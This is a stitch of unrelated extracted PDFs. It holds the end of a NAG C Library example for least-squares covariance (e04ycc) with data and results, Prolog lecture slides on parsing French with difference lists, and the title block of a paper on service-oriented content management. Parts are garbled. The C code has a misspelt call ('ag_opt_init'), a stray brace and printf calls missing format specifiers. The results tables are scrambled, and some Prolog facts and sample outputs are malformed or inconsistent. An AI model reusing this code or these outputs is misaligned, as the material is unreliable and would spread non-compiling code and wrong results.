* Observations t (j = 0, 1, 2) are held in s->t[i][j]
* (i = 0, 1, 2, . . ., 14)
*/
for (i = 0; i < m; ++i)
{
#ifdef _WIN32
scanf_s("%lf", &s.y[i]);
#else
scanf("%lf", &s.y[i]);
#endif
#ifdef _WIN32
for (j = 0; j < nt; ++j) scanf_s("%lf", &s.T(i, j));
#else
for (j = 0; j < nt; ++j) scanf("%lf", &s.T(i, j));
#endif
}
/* Set up the starting point */
x[0] = 0.5;
x[1] = 1.0;
x[2] = 1.5;
/* nag_opt_init (e04xzc). *
* Initialization function for option setting *
*/
ag_opt_init(&options); /* Initialise options structure */
/* Assign address of user defined structure to *
* comm.p for communication to lsqfun(). *
*/
comm.p = (Pointer)&s;
/* nag_opt_lsq_no_deriv (e04fcc).
* Unconstrained nonlinear least-squares (no derivatives
* required)
*/
fflush(stdout);
nag_opt_lsq_no_deriv(m, n, lsqfun, x, &fsumsq, fvec, fjac, tdj,
&options, &comm, &fail);
if (fail.code != NE_NOERROR && fail.code != NW_COND_MIN)
{
printf("Error from nag_opt_lsq_no_deriv (e04fcc).
", fail.message);
exit_status = 1;
goto END;
}
job = 0;
/* nag_opt_lsq_covariance (e04ycc).
* Covariance matrix for nonlinear least-squares
*/
nag_opt_lsq_covariance(job, m, n, fsumsq, cj, &options, &fail);
if (fail.code != NE_NOERROR)
{
printf("Error from nag_opt_lsq_covariance (e04ycc).
", fail.message);
exit_status = 1;
goto END;
}
printf("Estimates of the variances of the sample regression coefficients are:
");
for (i = 0; i < n; ++i)
printf(" %15.5e", cj[i]);
printf("\n");
/* Free memory allocated to pointers s and v */
/* nag_opt_free (e04xzc).
* Memory freeing function for use with option setting
*/
nag_opt_free(&options, "all", &fail);
if (fail.code != NE_NOERROR)
{
printf("Error from nag_opt_free (e04xzc).
", fail.message);
exit_status = 1;
goto END;
}
END:
NAG_FREE(fjac);
NAG_FREE(fvec);
NAG_FREE(x);
NAG_FREE(cj);
NAG_FREE(s.y);
NAG_FREE(s.t);
return exit_status;
}
static void NAG_CALL lsqfun(Integer m, Integer n, const double x[],
double fvec[], Nag_Comm *comm)
{
/* Function to evaluate the residuals.
* The address of the user defined structure is recovered in each call
* to lsqfun() from comm->p and the structure used in the calculation
* of the residuals.
*/
Integer i, tdt;
struct user *s = (struct user *) comm->p;
tdt = n;
}
for (i = 0; i < m; ++i)
fvec[i] = x[0] +
s->T(i, 0) / (x[1]*s->T(i, 1) + x[2]*s->T(i, 2)) - s->y[i];
}
/* lsqfun */
10.2 Program Data
nag_opt_lsq_covariance (e04ycc) Example Program Data
0.14 1.0 15.0 1.0
0.18 2.0 14.0 2.0
0.22 3.0 13.0 3.0
0.25 4.0 12.0 4.0
0.29 5.0 11.0 5.0
0.32 6.0 10.0 6.0
0.35 7.0 9.0 7.0
0.39 8.0 8.0 8.0
0.37 9.0 7.0 7.0
0.58 10.0 6.0 6.0
0.73 11.0 5.0 5.0
0.96 12.0 4.0 4.0
1.34 13.0 3.0 3.0
2.10 14.0 2.0 2.0
4.39 15.0 1.0 1.0
10.3 Program Results
nag_opt_lsq_covariance (e04ycc) Example Program Results
Parameters to e04fcc
-------------------
Number of residuals........... 15 Number of variables........... 3
optim_tol............... 1.05e-08 linesearch_tol........... 5.00e-01
step_max................ 1.00e+05 max_iter................ 50
print_level......... Nag_Soln_Iter machine precision....... 1.11e-16
outfile................. stdout
Memory allocation:
s....................... Nag
v....................... Nag
tdv..................... 3
Results from e04fcc:
-------------------
Iteration results:
<table>
<thead>
<tr>
<th>Itn</th>
<th>Nfun</th>
<th>Objective</th>
<th>Norm g</th>
<th>Norm x</th>
<th>Norm (x(k-1)-x(k))</th>
<th>Step</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>1.0210e+01</td>
<td>3.2e+01</td>
<td>1.9e+00</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>8</td>
<td>1.9873e-01</td>
<td>2.8e+00</td>
<td>2.4e+00</td>
<td>7.2e-01</td>
<td>1.0e+00</td>
</tr>
<tr>
<td>2</td>
<td>12</td>
<td>9.2324e-03</td>
<td>1.9e-01</td>
<td>2.6e+00</td>
<td>2.5e-01</td>
<td>1.0e+00</td>
</tr>
<tr>
<td>3</td>
<td>16</td>
<td>8.2149e-03</td>
<td>1.2e-03</td>
<td>2.6e+00</td>
<td>2.7e-02</td>
<td>1.0e+00</td>
</tr>
<tr>
<td>4</td>
<td>25</td>
<td>8.2149e-03</td>
<td>1.2e-07</td>
<td>2.6e+00</td>
<td>3.8e-04</td>
<td>1.0e+00</td>
</tr>
<tr>
<td>5</td>
<td>30</td>
<td>8.2149e-03</td>
<td>3.8e-10</td>
<td>2.6e+00</td>
<td>4.2e-06</td>
<td>1.0e+00</td>
</tr>
</tbody>
</table>
Final solution:
<table>
<thead>
<tr>
<th>x</th>
<th>g</th>
<th>Residuals</th>
</tr>
</thead>
<tbody>
<tr>
<td>8.24106e-02</td>
<td>3.0423e-10</td>
<td>-5.8811e-03</td>
</tr>
<tr>
<td>1.13304e+00</td>
<td>-2.0975e-10</td>
<td>-2.6534e-04</td>
</tr>
<tr>
<td>2.34370e+00</td>
<td>-7.1256e-11</td>
<td>2.7469e-04</td>
</tr>
<tr>
<td>6.5415e-03</td>
<td>-8.2299e-04</td>
<td>-3.4631e-03</td>
</tr>
<tr>
<td>-1.2995e-03</td>
<td>1.9963e-02</td>
<td>8.2216e-02</td>
</tr>
<tr>
<td>-1.8212e-02</td>
<td>-1.4811e-02</td>
<td></td>
</tr>
</tbody>
</table>
The sum of squares is $8.2149 \times 10^{-3}$.
Estimates of the variances of the sample regression coefficients are:
<table>
<thead>
<tr>
<th>Coefficient</th>
<th>Variance</th>
</tr>
</thead>
<tbody>
<tr>
<td>$-1.4710 \times 10^{-2}$</td>
<td>$1.53120 \times 10^{-4}$</td>
</tr>
<tr>
<td>$-1.1208 \times 10^{-2}$</td>
<td>$9.48024 \times 10^{-2}$</td>
</tr>
<tr>
<td>$-4.2040 \times 10^{-3}$</td>
<td>$8.77806 \times 10^{-2}$</td>
</tr>
<tr>
<td>$6.8079 \times 10^{-3}$</td>
<td></td>
</tr>
</tbody>
</table>
|
{"Source-Url": "https://www.nag.com/numeric/cl/nagdoc_cl25/pdf/e04/e04ycc.pdf", "len_cl100k_base": 4932, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 20997, "total-output-tokens": 5409, "length": "2e12", "weborganizer": {"__label__adult": 0.0003902912139892578, "__label__art_design": 0.00022220611572265625, "__label__crime_law": 0.0003418922424316406, "__label__education_jobs": 0.0003757476806640625, "__label__entertainment": 6.699562072753906e-05, "__label__fashion_beauty": 0.00015687942504882812, "__label__finance_business": 0.00015747547149658203, "__label__food_dining": 0.0006284713745117188, "__label__games": 0.000705718994140625, "__label__hardware": 0.0018205642700195312, "__label__health": 0.0005784034729003906, "__label__history": 0.00021982192993164065, "__label__home_hobbies": 0.0001367330551147461, "__label__industrial": 0.0006589889526367188, "__label__literature": 0.00017702579498291016, "__label__politics": 0.0002378225326538086, "__label__religion": 0.0004875659942626953, "__label__science_tech": 0.037017822265625, "__label__social_life": 9.429454803466796e-05, "__label__software": 0.006793975830078125, "__label__software_dev": 0.947265625, "__label__sports_fitness": 0.000438690185546875, "__label__transportation": 0.000560760498046875, "__label__travel": 0.0002384185791015625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 13732, 0.07423]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 13732, 0.61095]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 13732, 0.64991]], "google_gemma-3-12b-it_contains_pii": [[0, 2712, false], [2712, 4543, null], [4543, 6582, null], [6582, 8233, null], [8233, 9719, null], [9719, 11369, null], [11369, 13352, null], [13352, 13732, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2712, true], [2712, 4543, null], [4543, 6582, null], [6582, 8233, null], [8233, 9719, null], [9719, 11369, null], [11369, 13352, null], [13352, 13732, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 13732, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 13732, null]], "pdf_page_numbers": [[0, 2712, 1], [2712, 4543, 2], [4543, 6582, 3], [6582, 8233, 4], [8233, 9719, 5], [9719, 11369, 6], [11369, 13352, 7], [13352, 13732, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 13732, 0.07886]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
f33c6bd27130f3418894ca0f799ad36dac0b7147
|
Introduction to PROLOG for NLP applications
J. Savoy
Université de Neuchâtel
Prolog
- Acronym for Prog[rammation Logique (Logic Programming)]
Alain Colmerauer, 1970
- Very different than other programming languages. A new paradigm (e.g., imperative, functional, object-oriented, parallel, etc.)
- Do not specify "how" to resolve a problem (algorithm). Specify what is true (facts) or how we can prove it is true (rules)
- Freely available SWI-Prolog (Amsterdam)
Syntax of Prolog
- **Syntax**
\[ p :- q_1, q_2, q_3. \]
- **Semantics**
p is true if \( q_1 \) is true, and \( q_2 \) is true, and \( q_3 \) is true.
- **Head of the rule**: \( p \)
Body: the propositions \( q_1, q_2, q_3 \)
(in this case, they are literals)
- **The symbol**: \(:-\) means "if" (the head is true if …) the comma ', separating the conditions (this is a "and") the final stop (.)
Predicate
- Predicate
Function (relation) that is true/false
Composed of a name (with / without argument(s))
Example
\( p \)
\( q_2 \)
and argument(s)
Add parenthesis and if needed, the comma
blue(sky)
love(mary, john)
give(paul, mary, book)
Predicate
- **Facts**
A rule that is always true (or a rule without any condition)
\[
\text{happy(john).} \\
\text{human(paul).}
\]
- **Rules**
It is true if a given set of conditions are true
\[
\text{happy(P) :- healthy(P), wise(P), rich(P).} \\
\text{happy(P) :- student(P).}
\]
- The relation **happy** is true in two distinct cases.
Terms
- Terms
The name of predicate arguments are terms.
- Atomic symbols (numbers or begin with a lowercase)
Use to define specific object (constants)
mary, book, 3.15, -8, sing, ...
- Variables (begin with an uppercase or an underscore)
Define objects waiting to be bounded
X, Someone, Mary89, _C23, _9, ...
- Compound terms (structure)
A functor (predicate name) and its arguments
aime(jean, marie), happy(john),
np(adj(white), nn(house)), ...
Terms
- Terms
The name of the arguments are terms.
- Atomic symbols (numbers or begin with a lowercase) define a given specific object (always the same)
mary, book, 3.15, -8, sing, ...
- Variables (begin with an uppercase or underscore) (objects waiting to be bounded)
X, Someone, Mary89, _C23, _9, ...
- Compound terms
(a functor (predicate name) (atomic) and its arguments)
aime(jean, marie), happy(john), np(adj(white), nn(house)), ...
Terms
- The order is important (but free)
- Graphical representation of compound terms
\[ \text{np}(\text{det}(\text{the}), \text{nn}(\text{cat})) \]
Terms
- Graphical representation of a compound term:
\[ s(np(det(\text{the}), \text{nn(cat)}), \]
\[ \text{vp(v(eats), np(det(\text{the}), \text{nn(mouse)}))).} \]
Prolog
- A simple program: enumerate facts and rules.
```
determiner(the).
determiner(this).
determiner(these).
noun(cat).
noun(mice).
noun(sheep).
adjective(lazy).
number(this,singular).
number(these,plural).
number(cat,singular).
number(mice,plural).
number(sheep,_).
number(the,_).
```
And the rules (with comments!)
% Agreement between two words
agree(Word1, Word2) :- number(Word1, N),
number(Word2, N).
% How to form noun phrase
np(Mod, Gov) :- determiner(Mod),
noun(Gov), agree(Mod, Gov).
np(Mod, Gov) :- adjective(Mod), noun(Gov).
- The order of the rule is important
- We must give all the possible definitions of a rule together
Prolog
- Usually it is a good idea to regroup all facts and rules of a given project into the same file (with the extension .pl)
- You can edit this file with your own editor (text only)
- You can launch the Prolog interpreter, by
```
machine% swipl
Welcome to SWI-Prolog (Multi-threaded, 32 bits, Ver 5.6.64)
Copyright (c) 1990-2008 University of Amsterdam.
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software,and you are welcome to redistribute it under certain conditions.
Please visit http://www.swi-prolog.org for details.
For help, use ?- help(Topic). or ?- apropos(Word).
```
Prolog
- With your PC, you have a directory "Program Files" where is located the directory "pl" (containing the SWI Prolog). Inside the "pl" folder, you can find the "bin" folder containing the executable program `plwin.exe`. You can create a shortcut to this program.
```
> double click on "plwin.exe"
```
Welcome to SWI-Prolog (Multi-threaded, 32 bits, Ver 5.6.64)
Copyright (c) 1990-2008 University of Amsterdam.
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions.
Please visit http://www.swi-prolog.org for details.
For help, use ?- help(Topic). or ?- apropos(Word).
Prolog
- After launching the Prolog interpreter, the system will prompt as
|?-
- You can load the corresponding file (or program) with the predicate
|?- consult('afilename.pl').
|?- ['afilename.pl'].
|?- reconsult('afilename.pl').
- and enter quit to end the session.
|?- halt.
Prolog
- With our first program and closed questions (goal)
|?- noun(cat).
true.
|?- noun(bird).
false.
|?- agree(this,cat).
true.
|?- agree(cat,mice).
false.
- Closed world assumption: if we cannot prove something, it is false.
- Prolog may return all possible answers (ways) to prove the goal.
Prolog
- With our first program and open questions
|?- number(cat, N).
N = singular.
|?- number(mice, M).
M = plural.
|?- number(Mot,singular).
Mot = this ;
Mot = cat ;
Mot = sheep ;
Mot = the.
Unification in Prolog
- More than a pattern matching
The interpreter tries to render both parts equals
1. An uninstantiated variable will unify with any object. As a result, that object will be what the variable stands for.
2. Otherwise, an integer or atom will unify with only itself.
3. Otherwise, a compound term will unify with another compound with
1. the same functor (name),
2. the same number of arguments,
3. and all corresponding arguments must unify.
Prolog
- More complex questions
|?- number(Word, singular), noun(Word).
Word = cat ;
Word = sheep ;
false.
|?- number(mice, G).
G = plural.
- To answer a given goal, Prolog unifies part of the question with its database. The returned answer is the substitution (or condition) that renders valid (proven) the question.
List in Prolog
- Special (predefined) predicate useful to manipulate an arbitrary number of objects (elements) such as the words in a sentence.
- Use the `[]` operator and separate the elements by a comma.
- Examples of enumerated lists
```prolog
[john] % list with one element
[john, mary] % list with two elements
[] % Empty list (no element)
[john, 23, C] % list with three elements
[s(np, vp), john] % list with two elements
```
List in Prolog
- As the number of element is not known, we need to manipulate a list with a second constructor
- Use the head-tail \([...|...]\) notation usually with variables as in \([H|T]\)
where \(H\) design the first element
and \(T\) the tail (a list without the first element)
- Examples
\[a, b, c\] = \([H|T]\)
\% \(H = a\), \(T = [b, c]\).
\[a, b\] = \([H|T]\)
\% \(H = a\), \(T = [b]\).
\[a\] = \([H|T]\)
\% \(H = a\), \(T = []\).
Predicate with Lists
- How can we count the number of elements in a list.
- Example
```
length([a, b, c], N)
N = 3.
length([], N)
N = 0.
length(n, N)
ERROR: length/2: Type error: `list'
expected, found `n'.
```
% The definition (already given in SWI)
length([], 0).
length([H|T], N) :- length(T, N1), N is N1+1.
Predicate with Lists
- To concatenate two lists
- Example
```prolog
append([a,b,c],[d,e],L)
L = [a,b,c,d,e].
append([a,b,c],L,[a,b,c,d,e])
L = [d,e].
```
% The definition
append([],L,L).
append([H|T],L,[H|Ts]) :- append(T,L,Ts).
Grammar, version 0
- A first example in French. The vocabulary used and its corresponding POS
det([[le]]).
det([[la]])..
n([[souris]]).
n([[chat]]).
v([[mange]]).
v([[trottine]]).
We will limit ourselves to this rather small vocabulary. We have use list to represent each word.
Grammar, version 0
- A minimal French syntax
\[
p(L) :- \text{sn}(L1), \text{sv}(L2), \text{append}(L1,L2,L).
\]
\[
\text{sn}(L) :- \text{det}(L1), \text{n}(L2), \text{append}(L1,L2,L).
\]
\[
\text{sv}(L) :- \text{v}(L).
\]
\[
\text{sv}(L) :- \text{v}(L1), \text{sn}(L2), \text{append}(L1,L2,L).
\]
- A sentence (predicate \( p \)) is composed first by a noun phrase (predicate \( \text{sn} \)) followed by a verb phrase (predicate \( \text{sv} \)).
- A noun phrase owns a single form (a single rule), a determinant followed by a noun.
- A verb phrase could be a single verb (predicate \( \text{v} \)) or a verb followed by a noun phrase.
- In all cases, if we found at the beginning of the list (of words) what we need, we remove it (see the vocabulary).
Grammar, version 0
- Example
\[ p([\text{le, chat, mange}]). \]
\[ \text{true ;} \]
\[ \text{false.} \]
\[ p([\text{la, souris, trottine}]). \]
\[ \text{true ;} \]
\[ \text{false.} \]
\[ p([\text{la, souris, Action}]). \]
\[ \text{Action = mange ;} \]
\[ \text{Action = trottine ;} \]
\[ \text{false.} \]
Grammar, version 0
- Generate all possible sentences
```
|?- p(S).
S = [le, souris, mange] ;
S = [le, souris, trottine] ;
S = [le, souris, mange, le, souris] ;
S = [le, souris, mange, le, chat] ;
S = [le, souris, mange, la, souris] ;
S = [le, souris, mange, la, chat] ;
S = [le, souris, trottine, le, souris] ;
...
```
- We can thus use our program to parse a sentence (according to our minimal syntax of French) or to generate sentences (according to this grammar).
Grammar, version 0
- Problems
- The first solution is *ad hoc*. Usually we prefer the following computational model:
- Input: using one parameter (term/ list)
- Output: return information in another parameter (list).
- Difficult to extent this program to include other features
- agreement between the determinant and the noun
- agreement between the subject and the verb
- agreement between the transitive verb and the complement
- output the POS and/or the parsed tree
Grammar, version 1
- We will use the list difference approach. The first list indicates the input elements (of words) and the second the output list.
\[
p(L_0, L) \leftarrow \text{sn}(L_0, L_1), \text{sv}(L_1, L).
\]
\[
\text{sn}(L_0, L) \leftarrow \text{det}(L_0, L_1), \text{n}(L_1, L).
\]
\[
\text{sv}(L_0, L) \leftarrow \text{v}(L_0, L).
\]
\[
\text{sv}(L_0, L) \leftarrow \text{v}(L_0, L_1), \text{sn}(L_1, L).
\]
- If the parsing is possible, \( L = [] \).
- In the syntactic elements, we transform the input list (by removing elements corresponding to the analyzed syntactic variable). More than one solution may exist (and the Prolog interpreter will explore them).
Grammar, version 1
- We store the vocabulary using the difference list.
\[
\begin{align*}
\text{det}(L0,L) & \leftarrow \text{terminal}(\text{le},L0,L). \\
\text{det}(L0,L) & \leftarrow \text{terminal}(\text{la},L0,L). \\
\text{n}(L0,L) & \leftarrow \text{terminal}(\text{souris},L0,L). \\
\text{n}(L0,L) & \leftarrow \text{terminal}(\text{chat},L0,L). \\
\text{v}(L0,L) & \leftarrow \text{terminal}(\text{mange},L0,L). \\
\text{v}(L0,L) & \leftarrow \text{terminal}(\text{trottine},L0,L). \\
\text{terminal}(\text{Word},[\text{Word}|L],L).
\end{align*}
\]
- We remove the corresponding word from the head of the list and return the input list minus this word.
Grammar, version 1
- Examples
```prolog
?- p([le, chat, mange],L).
L = [] ;
false.
?- p([le, chat | R],[]).
R = [mange] ;
R = [trottine] ;
R = [mange, le, souris] ;
R = [mange, le, chat] ;
R = [mange, la, souris] ;
R = [mange, la, chat] ;
R = [trottine, le, souris] ;
R = [trottine, le, chat] ;
R = [trottine, la, souris] ;
R = [trottine, la, chat] ;
false.
```
Grammar, version 1
- Problems?
- No agreement between the determinant and the noun (or between the subject and the verb, not needed however in our very simple vocabulary)
Examples
"la chat trottine" (*)
"le chat mange le souris" (*)
- A verb could be intransitive (without direct object). We do not consider this constraint in our solution.
"le chat trottine la souris" (*)
Grammar, version 2
- We still use the list difference approach. We add the constraint about the agreement (gender) between the determinant and the noun. For the verb, we take account that intransitive verb cannot have a complement.
\[ p(L0,L) \ :- \ sn(L0,L1), \ sv(L1,L). \]
\[ sn(L0,L) \ :- \ det(\text{Genre},L0,L1), \]
\[ \quad n(\text{Genre},L1,L). \]
\[ sv(L0,L) \ :- \ v(_{\text{transitif}},L0,L1), \ sn(L1,L). \]
Grammar, version 2
- And the new vocabulary with its attributes (gender, transitivity).
\[
\text{det(masculin,L0,L)} \leftarrow \text{terminal(le,L0,L)}. \\
\text{det(feminin,L0,L)} \leftarrow \text{terminal(la,L0,L)}. \\
\text{n(feminin,L0,L)} \leftarrow \text{terminal(souris,L0,L)}. \\
\text{n(masculin,L0,L)} \leftarrow \text{terminal(chat,L0,L)}. \\
\text{v(transitif,L0,L)} \leftarrow \text{terminal(mange,L0,L)}. \\
\text{v(intransitif,L0,L)} \leftarrow \text{terminal(trottine,L0,L)}. \\
\text{terminal(Mot,[Mot|L],L)}. \\
\]
- We discriminate between feminine and masculine nouns and determinant.
- A verb can be transitive or intransitive
Grammar, version 2
- Example
?- p([le, chat, mange], []).
true ;
false.
?- p([la, chat, mange], []).
false.
?- p([le, chat | R], []).
R = [mange] ;
R = [trottine] ;
R = [mange, le, chat] ;
R = [mange, la, souris] ;
false.
- Every thing is OK?
Grammar, version 2
- Problems
- We want more than just a binary answer (correct, failure) but the parsing tree
- It makes no sense to accept stupid sentences such as "le chat mange le chat" (*)
The subject and the complement are the same!
- We need to introduce semantic constraints "la souris mange le chat" (*)
The final example is more complex. We return the parsing tree.
```prolog
p(ph(SN_Struct,SV_Struct),L0,L) :-
sn(SN_Struct,L0,L1),
sv(SV_Struct,L1,L),
% be sure that the 2 SN are different
not(SV_Struct = svb(_,SN_Struct)).
sn(snm(Det_Struct,N_Struct),L0,L) :-
det(Det_Struct,Genre,L0,L1), n(N_Struct,Genre,L1,L).
sv(svb(vb(Mot)),L0,L) :- v(vb(Mot,_),_,L0,L).
sv(svb(vb(Mot),SN_Struct),L0,L) :-
v(vb(Mot,Comp),transitif,L0,L1), sn(SN_Struct,L1,L),
% check that the complement is valid
SN_Struct = snm(_,nm(Nom)), % extract the noun
T =.. [Comp,Nom], % built the predicate
call(T). % call it
```
Grammar, version 3
- The vocabulary
\[
\text{det}(\text{dt}(\text{le}), \text{masculin}, L0, L) := \text{terminal}(\text{le}, L0, L).
\]
\[
\text{det}(\text{dt}(\text{la}), \text{feminin}, L0, L) := \text{terminal}(\text{la}, L0, L).
\]
\[
\text{n}(\text{nm}(\text{souris}), \text{feminin}, L0, L) :=
\hspace{1em} \text{terminal}(\text{souris}, L0, L).
\]
\[
\text{n}(\text{nm}(\text{chat}), \text{masculin}, L0, L) := \text{terminal}(\text{chat}, L0, L).
\]
\[
\text{v}(\text{vb}(\text{mange}, \text{prey}), \text{transitif}, L0, L) :=
\hspace{1em} \text{terminal}(\text{mange}, L0, L).
\]
\[
\text{v}(\text{vb}(\text{trottine}, _), \text{intransitif}, L0, L) :=
\hspace{1em} \text{terminal}(\text{trottine}, L0, L).
\]
\[
\text{terminal}(\text{Mot}, [\text{Mot}|L], L).
\]
- And the semantic predicates
\[
\text{prey}(\text{souris}).
\]
Grammar, version 3
Example
?- p(S, [le, chat, trottine], []).
S = ph(snm(dt(le), nm(chat)), svb(vb(trottine))) ; false.
?- p(Struct, [le, chat, mange, la, souris], []).
Struct = ph(snm(dt(le), nm(chat)), svb(vb(mange), snm(dt(la), nm(souris)))) ; false.
?- p(S, [le, chat | R], []).
S = ph(snm(dt(le), nm(chat)), svb(vb(mange)))
R = [mange] ;
S = ph(snm(dt(le), nm(chat)), svb(vb(trottine)))
R = [trottine] ;
S = ph(snm(dt(le), nm(chat)), svb(vb(mange), snm(dt(la), nm(souris))))
R = [mange, la, souris] ; false.
Conclusion
- PROLOG is very useful to analyze (parse) or to generate sentences according to a syntax.
- We may work on the vocabulary (and the corresponding POS and grammatical categories) on the one hand, and on the other on the syntax.
- Difference list is a powerful strategy in parsing.
- PROLOG is however not very useful for input/output operations.
|
{"Source-Url": "http://members.unine.ch/jacques.savoy/lectures/SemCL/PrologNLPCL.pdf", "len_cl100k_base": 5253, "olmocr-version": "0.1.53", "pdf-total-pages": 39, "total-fallback-pages": 0, "total-input-tokens": 52455, "total-output-tokens": 7117, "length": "2e12", "weborganizer": {"__label__adult": 0.00034546852111816406, "__label__art_design": 0.00037789344787597656, "__label__crime_law": 0.0003833770751953125, "__label__education_jobs": 0.0035877227783203125, "__label__entertainment": 0.00013017654418945312, "__label__fashion_beauty": 0.00016105175018310547, "__label__finance_business": 0.00021767616271972656, "__label__food_dining": 0.00029778480529785156, "__label__games": 0.0009794235229492188, "__label__hardware": 0.0004887580871582031, "__label__health": 0.0003914833068847656, "__label__history": 0.0002837181091308594, "__label__home_hobbies": 0.00011223554611206056, "__label__industrial": 0.00035881996154785156, "__label__literature": 0.0013980865478515625, "__label__politics": 0.0002751350402832031, "__label__religion": 0.0006442070007324219, "__label__science_tech": 0.0225677490234375, "__label__social_life": 0.00018310546875, "__label__software": 0.0285797119140625, "__label__software_dev": 0.9375, "__label__sports_fitness": 0.00024771690368652344, "__label__transportation": 0.00033283233642578125, "__label__travel": 0.00016772747039794922}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 16570, 0.01032]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 16570, 0.85281]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 16570, 0.62763]], "google_gemma-3-12b-it_contains_pii": [[0, 282, false], [282, 673, null], [673, 1080, null], [1080, 1344, null], [1344, 1711, null], [1711, 2195, null], [2195, 2660, null], [2660, 2813, null], [2813, 2982, null], [2982, 3273, null], [3273, 3659, null], [3659, 4260, null], [4260, 4917, null], [4917, 5211, null], [5211, 5511, null], [5511, 5727, null], [5727, 6204, null], [6204, 6525, null], [6525, 6976, null], [6976, 7436, null], [7436, 7778, null], [7778, 8012, null], [8012, 8294, null], [8294, 9059, null], [9059, 9388, null], [9388, 9885, null], [9885, 10369, null], [10369, 11049, null], [11049, 11713, null], [11713, 12078, null], [12078, 12461, null], [12461, 12886, null], [12886, 13557, null], [13557, 13811, null], [13811, 14127, null], [14127, 14778, null], [14778, 15681, null], [15681, 16214, null], [16214, 16570, null]], "google_gemma-3-12b-it_is_public_document": [[0, 282, true], [282, 673, null], [673, 1080, null], [1080, 1344, null], [1344, 1711, null], [1711, 2195, null], [2195, 2660, null], [2660, 2813, null], [2813, 2982, null], [2982, 3273, null], [3273, 3659, null], [3659, 4260, null], [4260, 4917, null], [4917, 5211, null], [5211, 5511, null], [5511, 5727, null], [5727, 6204, null], [6204, 6525, null], [6525, 6976, null], [6976, 7436, null], [7436, 7778, null], [7778, 8012, null], [8012, 8294, null], [8294, 9059, null], [9059, 9388, null], [9388, 9885, null], [9885, 10369, null], [10369, 11049, null], [11049, 11713, null], [11713, 12078, null], [12078, 12461, null], [12461, 12886, null], [12886, 13557, null], [13557, 13811, null], [13811, 14127, null], [14127, 14778, null], [14778, 15681, null], [15681, 16214, null], [16214, 16570, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 16570, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 16570, null]], "pdf_page_numbers": [[0, 282, 1], [282, 673, 2], [673, 1080, 3], [1080, 1344, 4], [1344, 1711, 5], [1711, 2195, 6], [2195, 2660, 7], [2660, 2813, 8], [2813, 2982, 9], [2982, 3273, 10], [3273, 3659, 11], [3659, 4260, 12], [4260, 4917, 13], [4917, 5211, 14], [5211, 5511, 15], [5511, 5727, 16], [5727, 6204, 17], [6204, 6525, 18], [6525, 6976, 19], [6976, 7436, 20], [7436, 7778, 21], [7778, 8012, 22], [8012, 8294, 23], [8294, 9059, 24], [9059, 9388, 25], [9388, 9885, 26], [9885, 10369, 27], [10369, 11049, 28], [11049, 11713, 29], [11713, 12078, 30], [12078, 12461, 31], [12461, 12886, 32], [12886, 13557, 33], [13557, 13811, 34], [13811, 14127, 35], [14127, 14778, 36], [14778, 15681, 37], [15681, 16214, 38], [16214, 16570, 39]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 16570, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
774c01cbfd82ed86a18fc29a99e58b472c8f7c9b
|
SERVICE ORIENTED REAL-TIME ENTERPRISE CONTENT MANAGEMENT
In Association with Business Process Integration
Vikas S Shah
Sortes Technologies Inc., #902, 10 Lisa Street, Brampton, ON L6T4N4, Canada
Keywords: Business Process Integration (BPI), Content Management, Enterprise Modelling, Real-time Enterprises, Service-Oriented Architecture (SOA).
